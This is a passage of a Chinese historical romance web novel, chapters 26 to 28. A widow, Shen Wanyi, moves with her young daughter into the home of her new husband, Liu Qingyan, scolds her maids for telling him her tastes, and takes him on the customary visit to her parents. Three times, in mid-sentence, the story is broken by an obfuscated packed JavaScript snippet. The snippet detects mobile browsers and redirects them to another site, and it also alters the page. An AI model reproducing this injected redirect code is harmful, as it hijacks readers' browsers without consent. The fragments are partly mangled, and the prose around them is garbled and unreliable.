他悉心解释道,“老师家孙辈人丁兴旺,现下已经有四五个孩子,最大的那个已有十二,最小的那个孙女也和阿盈差不多大。 “为了方便孩子们念书,老师几年前便在府中设了一个私塾,请的教书先生是老师已经致仕的好友,崔衡老先生。” “可是之前的翰林院学士?” “正是。” 沈婉仪听见他说崔衡,顿觉熟悉之感,仔细想来,原来是在父亲口中听见过这个名字。 此人致仕之前,父亲曾与他共事,也是夸赞有加,只是说性情太过较真,操心的事情太多,想来也是因为这个原因,才在本应官运亨通的年纪致仕了。 若是梁盈能做他的学生,想来能够学到不少东西。 “丞相家中的所有孩子都在私塾念书吗?” “是。老师说反正崔老先生教一个也是教,教几个也是教,就干脆让所有孩子都到私塾念书了。” 像是知道她的顾虑,柳青砚特意补充道,“老师还为家中的女孩特意请了女先生,女孩们上午跟着哥哥弟弟在崔老那里念完书后,下午就会去女先生那里学习琴棋书画。” “女先生是老师托了好些人脉才请来的林蕴,听说此人也是书香门第出生,一手簪花小楷写得极好,只是后来家族没落后便隐于市井了。她专教闺阁女子读书习礼,京中好些达官贵人的夫人,都曾拜在她的门下。” 这人沈婉仪也是听过的,还是从江霁月的口中听到的。 应该是两年前,江修远第四房小妾的孩子也到了念书的年纪,江霁月的四姨娘便在江老爷的耳边吹了枕边风,让他去请这个已经在上京权贵圈中颇具盛名的女先生来府上教江霁月的妹妹念书。 可惜江修远去请了好几次也没有将那人请来,气得他在府里直骂她是个仗着几分才情便拿捏作态的黄毛丫头。 总归人是没有请到了,但这个名字却让江霁月和沈婉仪记住了。 “丞相大人家的私塾想来应是没那么好进的吧?”沈婉仪道。 听柳青砚这样说,那里恐怕是上京城中达官贵人的子弟都想去念书的地方。 “以前确实没有见过其他家的孩子在里面念书,但是既然阿盈都说她的表姐和表哥将会在里面念书,想来还是有法子进去的。” “阿婉,你别担心,我明日便向老师递拜帖,找个时机向老师询问此事。”柳青砚语气郑重。 沈婉仪平静道,“我不担心,若是不行再请其他先生便是了。”她说罢,犹豫了一会又道,“要不等到时候回门的时候,我拜托父亲去问问吧。” 沈婉仪私心是不想麻烦柳青砚的,她怕到时候欠他的太多,更是彻底还不清了。 柳青砚显然也知道她的顾虑,用几句话句话堵住了她的退路,“阿婉,你忘了,老师昨日还给我们当过主婚人呢。我作为老师的弟子,向老师开口的话也不会太难为情。” “岳父大人在朝堂上有好几次都和老师的政见不合,虽说两人并未翻脸,但若是拜托岳父大人去问老师,恐怕有些不妥。” “现下我们已成亲,倘若你特意绕过我去麻烦岳父大人,或许会令岳父和岳母他们二人多想。” 若只是前面的两句沈婉仪还有所踌躇,柳青砚最后这一句话说出来后,是彻底打消了沈婉仪去麻烦父亲的念头。 “既如此,那便麻烦夫君了。” 柳青砚闻言,眼底倏然漫开一层软融融的笑意,唇角也弯出恰到好处的弧度。 “阿婉,我们是夫妻,不麻烦。” 26. 第 26 章 于是这件事便这么定下了。 梁盈见自己也有机会和阿瑶姐姐和连奚哥哥一起去丞相家的私塾念书,高兴极了,站在原地蹦跶了好几下。 “好了,天快黑了,快进屋里去吧。” 梁盈被母亲牵着在曲折的回廊上走着,这是她第一次来此处,再加上外祖母和她说过这里是她日后的居所,刚进府门她便新奇地四处张望着。 走着走着,她忽地发现她的“父亲”一个人走在前面,况且明明是他在前面带路,看着他的背影却像是孤独落单的模样。 她回忆起之前看着表姨和表姨夫他们一家人的模样,似乎阿瑶姐姐和连奚哥哥与她们的父亲和母亲都是牵着手的? 她拉着沈婉仪加快了步伐。 沈婉仪不懂女儿走得好好的为何突然拉着她加速向前走,刚想开口询问时,却已然看见女儿已经伸出了手去牵前面的柳青砚。 她想制止她,奈何女儿动作太快,“阿盈”两字刚出口,女儿已经牵起了柳青砚的手。 手被人猛地抓住,柳青砚显然也被手上突如其来的触感稍稍惊了一下,等他疑惑回头时,只看到梁盈向他露出了疑惑的神情。 她问他,“父亲,你怎么不同我和娘亲一起?” 柳青砚抬眸看向梁盈身后的沈婉仪,只见后者朝他露出一个歉意的眼神,显然是觉得女儿的这个动作略显唐突。 柳青砚朝着她摇了摇头,随之握紧了梁盈的小手,蹲下身与她视线平齐,朝她语气温和道歉道,“是我不好,走得太快,将阿盈和夫人忘在了身后。” 在女儿面前听见他唤自己“夫人”,沈婉仪觉得有些不太适应,尴尬地将眼睛看向别处。 听见他向自己道歉,梁盈则显得很是大方,“我原谅你啦。” “我们现在一起回屋吧。” “好。” 于是在梁盈的要求下,三人并排地朝着后院走去,沈婉仪在最里侧,梁盈在中间,柳青砚则是在外侧。 手里握着女儿的手,女儿另一只手牵着另一个人,这一副场景曾多次出现在沈婉仪的梦里,只是现下和梦里不同的是,那人并不是梁钺。 沈婉仪感到很不自在,但碍于在这么多人面前她不好叫女儿将柳青砚的手放开,于是她便只垂着眸一声不吭专注走着路。 柳青砚看了看她,没有说话。 走在后面的兰黛压低了声音朝一旁的芸香道,“你别说,这个新姑爷和姑娘小姐站在一起,还真挺像一家人的。” 芸香瞟了她一眼,又回头看了身后跟着几个侍女,她同样将声音放得很轻,“主子就在前面,你就敢在后面编排起来了?” 兰黛不服气地撇了撇嘴,“我这说的是好话,也不怕谁听见。” 芸香睨她一眼,脚步不停,只拿眼角的余光扫过身后的侍女,又再将视线落回兰黛她身上,她低声斥道,“管你是好话还是坏话,这里可不比沈国公府,别再和以前一样嘴巴没个把门的。” 在沈国公府时,就数芸香和她最要好,有什么话兰黛都和她讲,原本以为到了新地方,她们也照样可以无话不谈,却没想得到却是芸香的一通数落,兰黛感到自己的热情顿时被浇灭了一半。 她垂着头,不再说话。 一旁的芸香见到她这副宛如这副被霜打了的茄子模样,知道自己的话她定是听进了心里,内心里面祈祷着她能因为此事长个记性。 到了后院的西厢房,梁盈甫一跨进门就撒开了握着沈婉仪和柳青砚的手。 不过刚跑出去两步,她就后知后觉地想起了什么,有些局促地停住了步子,飞快地回头瞥了她的“父亲”和母亲一眼,前者脸上并无责怪的神情,后者的脸上却略含警告之意。 梁盈忙敛了敛裙摆,放慢了步伐,尽力让自己看上去有几分端庄的模样。 沈婉仪见到女儿这副后知后觉的模样,不禁拿手捏了捏自己的眉心,轻叹了口气,看来女儿是刚刚下车的时候没想起来自己和母亲再三叮嘱的话,现在来找补来了。 倘若仅凭自己之力就能把女儿教成知书达理的模样,沈婉仪想,那她日后定然也能去当个女先生了。 她转过头看向一旁的柳青砚,见他将手轻轻握成了拳头抵在了自己的鼻尖,低低地笑出声来。 沈婉仪更觉赧然。 但柳青砚轻笑过后便适时地开口,“阿婉,我去饭厅那边看看晚膳准备得如何了,就先走一步了。” 沈婉仪知道他这是怕梁盈在他面前蹑手蹑脚,于是便找了个理由给她母女二人留下单独的相处空间,好让梁盈自在一些。 她朝他颔首致谢,顺势地接了话,“去吧,阿盈这边有我呢。” 柳青砚又回过头和梁盈打了招呼,“阿盈,你慢慢看,别着急,距离晚膳还有一段时间,父亲只不过是去看看进度。” “若是有什么少了的东西告诉下人就行,她们会备好的。” 听到他要走的消息,梁盈意识到这间屋子马上就会只剩下母亲和她,外祖母说的在外人面前更是要小心谨慎的话便用不上了,她心下闪过一阵雀跃,但面上仍是故作庄重的模样,“知道了,父亲。” 柳青砚知道自己留在此处只会让小女孩更加放不开,便也没过多停留,转身走了。 他走后,芸香和兰黛在门外守着,房间里只剩沈婉仪和梁盈两人。 梁盈扒在门边确认他已走远,立即脱下了端庄的外衣,在屋子里兴奋地撒开了欢,踮着脚这儿瞅瞅那儿摸摸。 此处是没有隔断的两间屋子,梁盈先扒着外间的梨花木大理石案仔细看了看,将上面的笔墨纸砚都挨着摸了摸,又噔噔噔跑进里间跑去她的拔步床那边滚了滚,连纱幔上的流苏她都忍不住去拨动两下。 若真要论价值,其实这些物件与沈国府里她屋子里的那些东西相比实在是比不上的。 但胜在梁盈从前很少去别人的府上住,更别说在一个全新的地方拥有一个属于自己的房间,她的这番举动完全是出于心底里面那按耐不住的新奇。 此处无人,沈婉仪倒是也没有拘着她,硬是等她跑够了,才在一旁的小圆桌坐下,给她倒了一杯水解渴。 待她喝完,沈婉仪问起称呼的事,“可是昨日外祖母让你改了对这个叔叔的称呼?” 茶壶并不重,梁盈坐在凳子上,接过母亲手里的茶壶又给自己倒了一杯水,她边倒边回答母亲的问题,“嗯嗯,外祖母说母亲成亲后,我应当唤他父亲。” 梁盈虽今日虽唤了柳青砚“父亲”,但梁盈知晓,她只不过是依照外祖母的嘱托这样做,实际上她知道她的爹爹是谁。 她的爹爹叫梁钺。 依着她娘亲的嘱咐,梁盈每晚入睡之前都会看一遍她爹爹的画像,母亲偶尔会与她讲她与父亲的故事,梁盈对于爹爹的想象,几乎都来自于母亲的分享。 除此之外,画像上的那个人,梁盈对他几乎完全再没有其他的印象。 只知道他的名字是梁钺,他是她的爹爹,他是前骠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995145|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑大将军。 她不记得她的声音,如果不是因为娘亲的那张画像,她甚至连她的爹爹长什么模样她都不知道。 从她开始能认人、说话开始,每晚娘亲都会教她认一遍那画像上的人,这几乎成了她雷打不动的惯例。 后面她自己记得那人是谁之后,娘亲干脆就将那幅画给了她,她让她自己找个妥帖的位置放好,每晚拿出来认一认即可。 为了看她有没有按自己的话照做,偶尔她娘亲也会把那幅画给收回去,再当着她的面打开问她这是谁。 她答对之后,娘亲又会把那幅画还给她。 昨夜兰黛和秋雨陪着她去找外祖母的时候,她想着会在外祖母那边就寝,于是便把那幅画也带了过去。 当外祖母看到那幅画时,外祖母显然有些惊讶,但她不是惊讶画上的人,而是问她,“阿盈,你怎么把这幅画像也带过来了。” 她眨着那双扑闪扑闪的大眼睛回答道,“睡前得认认爹爹的画像呢。” 四岁的梁盈以为闭上眼睛前看见的最后一秒才算是睡前,是以她并没有提前在屋里看了画再过来,而是选择将画像一起带了过来。 林氏听到外孙女的话后久久无言,她看了看画像上的人,又看了看天真无邪的外孙女。 她问外孙女,“阿盈知道这是爹爹,那你知道今天和娘亲成亲的人是谁吗?” 她记得她告诉过她,柳青砚是她的新爹爹。 梁盈语气轻快,“知道啊,是叔叔。” 叔叔?林氏想,或许是上次阿婉带她出门与柳青砚会面时,让她叫的这个称呼。 但今日之后,婉婉已与此人成亲,阿盈的这个称呼便不能叫了。 林氏坐在床边,动作轻柔地为梁盈拆下发髻,她语重心长道,“阿盈,你明日和娘亲会面后,在你长大嫁人之前,你几乎都会住在你明日要去的地方。” 梁盈甜甜道,“外祖母,我知晓的。这些话娘亲都给我说过。” “那娘亲有没有告诉你,你明日过去之后可要唤你说的这个‘叔叔’什么?” 梁盈愣愣的,一下没反应过来,她问,“叔叔就是叔叔,还要唤他什么?”显然没听懂她外祖母话中的意思。 不过这也不怪她,因为她娘亲曾经告诉她可以不用唤这人爹爹,再加上她每晚都看着梁钺的画像认人,她当然不会把对柳青砚的称呼往“爹爹”上想。 “你不能再叫他叔叔,你得唤他爹爹或者是父亲。”林氏想了想,又举了个例子,“就像你娘亲唤你外祖父那样。” “可是我已经有爹爹了啊,他最多算是新爹爹。”梁盈道。 林氏知道她唤梁钺已经习惯了,于是也不强求,“所以你唤他父亲便好。” 梁盈用自己的小脑袋思考了一下,一个是爹爹,一个是父亲,好像不冲突,于是便应承了下来,“那我日后就唤他父亲了。” 孺子可教也。 林氏为她把头发梳顺,继续嘱咐道,“阿盈还得记得在外人面前不能再是莽撞的模样,须得小心谨慎。” 梁盈点了点头,打了打哈欠。 “到了那边要听娘亲的话,若是娘亲不在身边就得听芸香姐姐她们的话。若是她们都不在......” “那就更要稳重,少说话,不随便与人起冲突。”梁盈抢过林氏的话一口气说完,接着道,“外祖母,这些话我都记住了。我好困啊,我能不能先去睡觉了。” “你记得便行,快去睡吧。” 27. 第 27 章 “昨日外祖母和我说完这些,我就歇息了。” 沈婉仪坐在桌旁听女儿讲昨晚发生的事。 梁盈刚刚跑得狠了,耳边的鬓发有些散落,她伸手那几缕细软的发丝为她撇在耳后,“既然外祖母已经让你改了称呼,那也没必要再换回来了,你以后就接着唤柳大人父亲就行。” “娘亲,你为什么不直接叫父亲的名字呢?” 按照母亲以往的习惯,若是对方名字是三个字,熟悉起来便会直接叫对方后面的两字。 梁盈以前每次听她娘亲给她讲她和父亲过去的故事时,常听到的称呼不是“你爹爹怎么怎么的”就是“梁钺怎么怎么样”。 几乎很少听到她娘亲称呼她爹爹是“夫君”来着,是以刚刚从马车上下来到进门,梁盈发现她娘亲没有依着习惯叫这个父亲的字,有些好奇。 沈婉仪为女儿解答道,“那样不太礼貌。况且娘亲与柳大人还未熟悉到可以互相叫字的程度。” 在沈婉仪看来,能互相直接叫字的人,必然已经是相当熟悉了。 “娘亲,你和父亲都成亲了还不是互相熟悉的人吗?” “不是。阿盈,你要明白,并不是所有成亲的人都是互相熟悉的,有些人甚至成亲许多年也无法知晓对方的一切。” “娘亲运气好,和你爹爹认识了十多年,知根知底,算得上是互相熟悉之人,所以娘亲才那样称呼你爹爹。” 梁盈似懂非懂,这时恰巧门外传来芸香的声音,“夫人,门房他们把小姐从沈国公府带过来的箱子抬进来了。” “让他们进来吧。” 沈婉仪话音刚落下,西厢房的门就被“吱呀”一声推开了。 四个下人哼哧哼哧抬进来两个巨大的黄花木箱子。 “就放在门口就行。” “是,夫人。”四人把箱子放下之后,便识趣地退下了。 待几人走后,沈婉仪将芸香和兰黛都叫了进来,“你们给她看看哪些需要拿出来的,便拿出来放好,暂时用不着的就先放箱子里面搁着。” 芸香带着兰黛动作麻利地开始收拾起来。 收拾到一半,芸香从箱子里面看到一卷画轴,姑娘和小姐在她面前展开过多次,她知道这幅画像上面画的是什么,但她仍是有点拿不定主意。 她抱着卷轴走过来,犹豫地问道,“姑娘,你看这幅画是和往常一样放在小姐的书案上,还是放置在箱子比较好?” 沈婉仪只看朝她的怀里看了一眼,就知道芸香在说哪幅画,可不就是昨晚梁盈抱到兰梧院的那幅画吗? “就放到书案上吧。若是放在箱子里,阿盈每日看画时就需拿出来,再放回去。那就有些不太方便了。” 其实最方便的还是和以往一样把这幅画挂在女儿的房间,但现在是在柳府,这么做就实在有些太显眼了些,为了不必要的麻烦,还是放在书案上就行。 “好。” 芸香提起这幅画,也让沈婉仪想起刚刚梁盈说的她昨晚拿着这幅画去了兰梧院的这回事。 她转过头给女儿解释,“阿盈,娘亲之前告诉你,每晚睡前得拿画像出来认认爹爹。其实这个睡前也不一定要那么绝对,你只需每日空闲时翻翻画像就行了。” 梁盈想了想,问,“是什么时间都可以吗?” “是的。”沈婉仪想了想女儿昨日的举动,又嘱咐道,“日后你就在屋子里面看就行,别拿着画像四处走了。” “那我抱着画像来找娘亲也不行吗?” 沈婉仪想了想那场景,她那院子柳青砚是常去的,若是指不定哪日撞上就不太好了。 虽说沈婉仪知晓就算柳青砚知道也不会说什么,但是别人都已经提醒她这屋子是处有眼线了,她还带着女儿这么大张旗鼓的话,就实在是有些不知轻重了。 她道,“不行。娘亲若是想爹爹了,可以自己过来或是再画一幅,阿盈就不用担心了。” “好吧。” “走吧,时辰也差不多了,该去吃晚膳了。” 柳青砚就像是知道她们会多久过来似的,沈婉怡牵着女儿到饭厅时,饭菜正好上齐。 “阿婉,你们来啦,快吃饭吧。” “哇,胭脂鹅脯、四喜丸子、蟹毕罗......都是我和娘亲爱吃的菜呢,父亲,你怎么知道我和娘亲爱吃什么?” 沈婉仪看了看桌上的菜色,确实都是平常她们母女俩爱吃的,她忽的想起来,中午吃的那些菜,好像也是她爱吃的。 柳青砚是怎么知道的呢? 梁盈这话问出口后,她也顺着女儿的视线朝柳青砚看过去,等待着他的回答。 见她们二人都把视线放在自己身上,柳青砚失笑,“这些都是拜托芸香和兰黛才知晓的,想着给阿盈和娘亲制造一个惊喜,我特意嘱咐她们不告诉你们呢。” 沈婉仪回头看了看被他点名的二人一眼,芸香察觉到她投来的视线,将脑袋埋的更低了,兰黛则是仿佛立了功似的喜笑颜开的模样。 “原是这样,夫君用心了。” “不过是举手之劳,哪里谈得上用心。夜里凉,阿婉,你们快动筷吧。” “嗯。” * 吃完晚膳,柳青砚去了书房,沈婉仪带着梁盈回了正房。 “阿盈,娘亲这几日正忙,你的功课可有落下?” 梁莹听到这话立刻仰着小脸回答道,“当然没有。”底气十分十足的模样。 她说完马上转头去叫兰黛,“兰黛姐姐,能麻烦你去我的房间里把我这几日练的字帖拿过来吗?” “好的,小姐。” 梁盈的西厢房本来就只隔着一个院子,是以兰黛去了没多久就回来了,手里拿着一沓字帖。 沈婉仪接过一张张翻阅,确认完女儿的课业确实没有落下之后,她问,“今日的字帖可练了?” 梁盈这下底气没那么足了,她弱弱的回答道,“还没。” “跟我来。”沈婉仪说着,牵着女儿的手走到了最外间的书案旁,她把烛芯拨得亮了一些,“就在这儿写吧。” 梁盈倒是也没有耍懒,等到兰黛帮她把墨研磨好之后,她便拿起一旁的笔开始专注地写了起来。 其实今日白天还留在沈国公府的时候,兰黛就提醒过她写字帖这事,但是她当时忙着指挥下人该把什么放进箱子里,什么该留在家里,于是就把此事搁在脑后了,等到想起来的时候就已经上了来柳府的马车了。 沈婉仪见女儿专注的模样,带着芸香回到了里间,坐在了桌边,走时顺带将兰黛一起捎上了。 兰黛一开始还有点懵,还以为她家姑娘有事要吩咐,因为之前小姐练字时她都会守在一旁。 沈婉仪看着跟前站着的两人,她们都是从她少时就一直跟着她的伙伴,甚至算半个家人了。 她问,“我把你们俩叫过来,你们可知道是为什么?” 芸香和兰黛几乎是同时开口。 芸香道,“为了今日姑爷说的那事。” 兰黛道,“姑娘可是有事要吩咐?” 发现自己猜测的和芸香不一致时,兰黛回想起刚刚在饭厅柳大人说的话来,敛了敛神色,有些后知后觉的明白了她家姑娘在问什么。 今日在饭厅姑爷说的那些话,令姑娘有些生气了,她当时虽没说些什么,但现在没有外人,于是便来问话了。 兰黛有些猜到她家姑娘在气什么,她在气她们二人将她和梁盈的私事告诉外人后还一直瞒着她。 沈婉仪看了看兰黛脸上的神色,知道她显然也是明白过来了,于是接着问,“若是今日柳大人没说此事,你们打算何时告诉我呢?” 两人一时沉默,芸香率先有了动作,她后撤一步跪下,随即俯身磕头,声音恳切,“芸香有错,还请姑娘责罚。” 兰黛见状也立刻有样学样,“请姑娘责罚。” 两人这边的动静终究是吵到了那边正在写字的梁盈,梁盈探头探脑地看了过来。 沈婉仪语气平稳道,“阿盈,好好写你的字,娘亲待会过来检查。” 梁盈知道母亲已经发现了她的小动作,也知道现在不是火上浇油的时候,于是乖乖把头低下继续写字。 见梁盈不再看着此处,沈婉仪对着正跪着的两人道,“你们起来吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002581|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰黛刚想起身,却见身旁的芸香没有动作,连忙重新低下头。 “我让你们起来,别让我把话再说一遍。”沈婉仪语气依旧没有起伏,但却带着一丝压迫感。 芸香听出这是她家姑娘要生气的征兆,立马起了身,兰黛也跟着站了起来。 “我让你们起来,不是不罚你们的意思,你们两人各罚一个月的月钱。” 两人都知道姑娘这已经是从轻处罚了,连忙答应道,“是,姑娘。” 沈婉仪叹了一口气,道,“你们两个都是陪伴我很久的人了,我不希望你们有任何事瞒着我,即使是抱着为我好的名义,你们明白吗?” 两人抿了抿唇,道,“明白。” “在这柳府里面,与我和小姐最亲近的就是你们俩人,所以日后不管有任何人问了你们任何事。”沈婉仪顿了顿,目光在两人面上扫过,一字一句道,“即使问话的人是柳青砚,你们都得告诉我,知道了吗?” 两人重重应下,“知道了,姑娘。” “除了我和梁盈爱吃的菜色之外,柳青砚还问过什么其他的事?”不满柳青砚此举,沈婉仪也不再唤他柳大人了。 “姑娘和小姐的喜好,姑爷全都问了。” 沈婉仪感觉自己额角跳了跳,她深呼一口气吐出去,问,“你们全都告诉他了?” 两人不敢接话。 沈婉仪顿时明白这便是全都告诉他的意思了。 “你们的月钱再多扣两个月的。” 芸香和兰黛的头埋得更低了。 沈婉仪给自己倒了一杯水,挥了挥手,让两人出去,“罢了,此事就到此为止,你们都各自去做各自的事。” 二人都低声称,“是。”说完便转身退下了。 芸香去了西厢房,继续吩咐其他人收拾着梁盈的屋子,兰黛则是回到了梁盈身边,继续陪着她写字。 沈婉仪揉了揉眉心,她其实很少对芸香和兰黛生气,更别说是惩罚她们,但今日她在饭厅听到柳青砚那番话时,心里不可说不惊讶。 她感激他是恩人不假,但这不代表他可以随意打听她的喜好,她的私事,尽管他说这是为了给她和梁盈制造惊喜。 她觉得这有些冒昧。 她们只是在扮一对夫妻,平常在府上装装样子也就罢了,犯不上私下的时候还这么关心对方,连对方的喜好也要打听清楚。 更让沈婉仪觉得冒昧的是,柳青砚甚至是从芸香和兰黛口中知道的。 陪伴了她这么多年的两个人,这么轻易就被他给说服,把自己和梁盈的喜好一点不漏地全告诉了他,自己还全然不知,这让她如何不生气呢? 沈婉仪喝了口茶,温热又泛着点清香的茶汤下肚,她稍稍平复了下心情。 她盘算着待会柳青砚回房来,她要不要与他说此事。 若是不说,她内心总是憋着一股气,若是说了,又感觉是她有些无理取闹,毕竟别人是好心来着。 她就这样在说与不说之间犹豫着,梁盈拿着写好的字帖过来找她时,她都还未做决定。 “娘亲,这是今日写的字。” 沈婉仪在女儿的呼唤中,将思绪拉拢了回来,她接过女儿递过来的纸张看了看,女儿还在初学阶段,所谓的字不过是一些简单的笔画。 “嗯,很不错。”沈婉仪边浏览边夸赞道,快看完的时候,她的视线落在纸张结尾的某个字道,“若是这个弯勾再写得更锋利些就更好了。” 她说完,梁盈便将脑袋探了过来,去看她说的地方,沈婉仪怕她看得不清楚,便伸出手来为她指了指,“喏,这个。” 柳青砚进来时看到的便是这个场景。 摇晃的烛火晃出昏黄的光晕,笼着桌边的两人。 他的阿婉正伸出纤细的手指,轻轻点在她口中所说那个笔画上,她侧脸的轮廓浸在灯影里,长睫垂落时投下一小片浅浅的阴影。她的旁边站着女儿,此刻与她贴得极近,毛茸茸的小脑袋微微歪着,去看她娘亲手指所指着的地方。 是他梦里曾幻想过与她长相厮守,儿女绕膝的情景。 他立在门口,竟一时未曾出声。 28. 第 28 章 沈婉仪刚把宣纸递回梁盈就看到门口立着的人。 柳青砚见她发现了自己也不再站着不动,他不自然地轻咳一声,走了进来。 他知道自己刚刚站在门口一直不出声的行为落在沈婉仪眼中会有些怪异,于是先声出口,转移话题,“这是阿盈写的字吗?” 梁盈“嗯”了一声。 “我可以看看吗?” 梁盈将母亲刚还回来的宣纸又重新递出去。 柳青砚借着烛光仔细打量这宣纸上的字,“阿盈才四岁写的字就已经颇见灵气,笔锋虽还有些绵软,却能将永字八法的底子浅浅描出几分来。” 他说着把宣纸还给她,“想来假以时日不断练习,阿盈日后定然笔力渐长,写出一手端方秀雅的好字来。” “外祖父之前也这样说呢,那我会更加努力的!” 柳青砚摸了摸她的小脑袋,“阿盈真乖。” 沈婉仪见两人搭话完,对兰黛吩咐道,“夜深了,把阿盈带回房间准备歇息吧。” “是,夫人。” 梁盈给母亲行了一个礼,“母亲晚安。” “嗯,阿盈晚安。” 等到兰黛将梁盈带着离开了正房,房间里顿时一下安静了下来,仿佛连一根针掉在地上都听得见。 沈婉仪依旧还在犹豫要不要问话,却没想到柳青砚率先提起了此事。 更准确的说,他率先道了歉。 “阿婉,我之前向芸香和兰黛打听了你和阿盈的喜好,还特意让她们瞒着你,原本是想着这样可以提前吩咐下人把你们二人不喜的事物都给避开,这样日后你二人在这柳府生活也更加方便。” “但是却没考虑到这行为似乎有些过界了,刚刚在饭厅看到你脸色不佳,我就想或许是此举让你不喜了,实在是抱歉。” 柳青砚说这话时语气里带着几分自己都未察觉的局促,他垂眸看着沈婉仪,或许是觉得惭愧,他的视线始终不敢直视她。 “刚刚进来看到芸香和兰黛垂头丧气的模样,想到定是我连累了她们二人,惹你不快了,真是对不住,是我考虑不周了。” 他这一个接着一个的道歉弄得沈婉仪一时竟不知道该说些什么,她刚刚犹豫了这么久的问话,他这一番话全都解释了,虽是省得她费心问了,但她却有种被看透的感觉。 “原也不是什么大事,大人既已知晓此事不妥,还请以后莫要再行此举了。”沈婉仪声音泠泠,不似之前那般柔和。她想了想又补充道,“大人以后若是有想知道的事,可以直接来问我。” 柳青砚闻言抬起了头,“什么都可以吗?” 沈婉仪颔首,“什么都可以。” “阿婉,那你会......” 柳青砚说这话的语气实在是太过轻柔,以至于后面几个字声音太小,沈婉仪没听清,“你说什么?” “没什么。” “阿婉,今日这事是我思虑欠妥。往后关于你和阿盈的一切,我若想知晓,定会先同你说一声,再也不像这般事先隐瞒于你了。” “你今日忙进忙出操持了这许久,眉眼间都透着倦意,快些歇下吧,莫要再熬着了。” 柳青砚嗓音温和,眉眼尽是关切。 他这番话说完轮到沈婉仪不搭话了,良久,才听到她轻轻“嗯”了一声,吩咐外面的婢女进来准备就寝。 两人都收拾完,沈婉仪去了拔步床,柳青砚依旧抱着锦被去了对面的榻上。 沈婉仪侧着身子,在黑暗中盯着拔步床的里侧发着呆。 柳青砚刚刚最后说完话时,她并非刻意晾着他不搭话,而是她听完那番话之后忽觉得有些心虚。 因为白天的时候她才刚刚把去打探他过往的人派了出去。 她自己对他说,她不喜欢别人绕过她去打听她的私事,可现在她正在做这样的事,她意识到这件事的时候,刚刚面对他的底气突然就烟消云散了。 所以她才好长时间都没有反应。 她从刚刚就在想她要不要把派去的人先撤回来? 说到底,她也不是真正嫁给他,他的过去究竟是如何似乎也与她没有半分干系,她不需要知道他的一切,只需要寻个适当的时机与他和离。 况且,她也才对他说了那样的话,祖母从小教育她,不要做个表里不一的人,她要求别人做到的事,自己也得做到才行。 想到此,沈婉仪终于在心里做出了决定,明日就叫人去把派去的人撤回来。 烦扰之事已有定论,沈婉仪终于能够心无旁骛地进入梦乡。 * 新妇成婚第三日,需得带新郎一起回门。 柳青砚提前找她商量了需要准备的金银漆器,还问了一些沈父沈母喜欢的物什,一整天的时间将这些东西给备齐。 等到第三日沈婉仪带着他回门时,身后足足跟了三驾马车。 这和当初沈婉仪带着梁钺回门时的盛景也不遑多让,但沈婉仪明白,以柳青砚的家底,她和他的这桩婚事几乎将他这些年的积蓄都都用上了。 她昨日见他列出来的长长礼单,也曾委婉地提醒他用不着这么费心费力,哪知道他又搬出先前那番说辞,说这是圣上赐婚且在沈父沈母眼里也是女儿的终生大事。 “倘若我不用心,若是让岳父和岳母后悔将你嫁给我了怎么办?” 沈婉仪还记得柳青砚昨日说这些话时眉眼含笑的模样,他说完还戏谑地朝她眨眨眼。 她明白他是在开玩笑,但却也忍不住在内心接话,她爹和娘才不会后悔呢,她想,只要这他没有表现得比那萧延还差,那她爹和娘就永远不会后悔。 后来回门时他与她父母整日的相谈甚欢显然也证实了这点。 沈婉仪最后也没再此事上与他多费口舌,反正到时把他送过去的这些与聘礼一同放好,再在和离时一并还给他就行了。 就先由着他吧。 回门这天很是顺利,没有人来闹事,她和柳青砚非常流畅地就走完了全程。 饭后众人闲聊时,沈婉仪从她父亲处得到了萧延被罚的消息,在知道他被打得下不来床还被禁足半年时,她在内心不禁感叹道,这王爷还是挺下得去手的。 这边林氏见着女儿和女婿新婚燕尔的幸福模样,不由得一阵庆幸,她一只手放在心口,语气还带着几分后怕,“婉婉,你不知道,我和你父亲那天在家收到了萧世子去柳府大闹的消息,急得恨不得马上从府里赶过去。” “幸好后面紧跟着就收到了女婿的消息,说是萧世子闹不起来,仪式可以顺利进行,我和你父亲这才放下心来。” 沈婉仪还并不知晓柳青砚当日还给她的父母通风报信过,听到这话略微惊讶的同时心里却有些动容。 那日那般混乱的场面,他被极尽羞辱不说,他竟还能顾及到她爹娘的担忧,特意传了消息回去,倒真是个心思缜密之人。 沈婉仪愿意在这种时候给他捧捧场。 “还好夫君考虑周全,我本也想派人来安抚爹娘的,但那世子的话当真气人,我与他争论过后被气急了,便把此事给忘了。” 沈正年刚刚吃晚膳时喝过酒,此时双颊酡红,闻言捋了捋自己的胡须,开怀大笑道,“婉婉,看来爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012767|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你选的这个夫君你还算满意啊。” 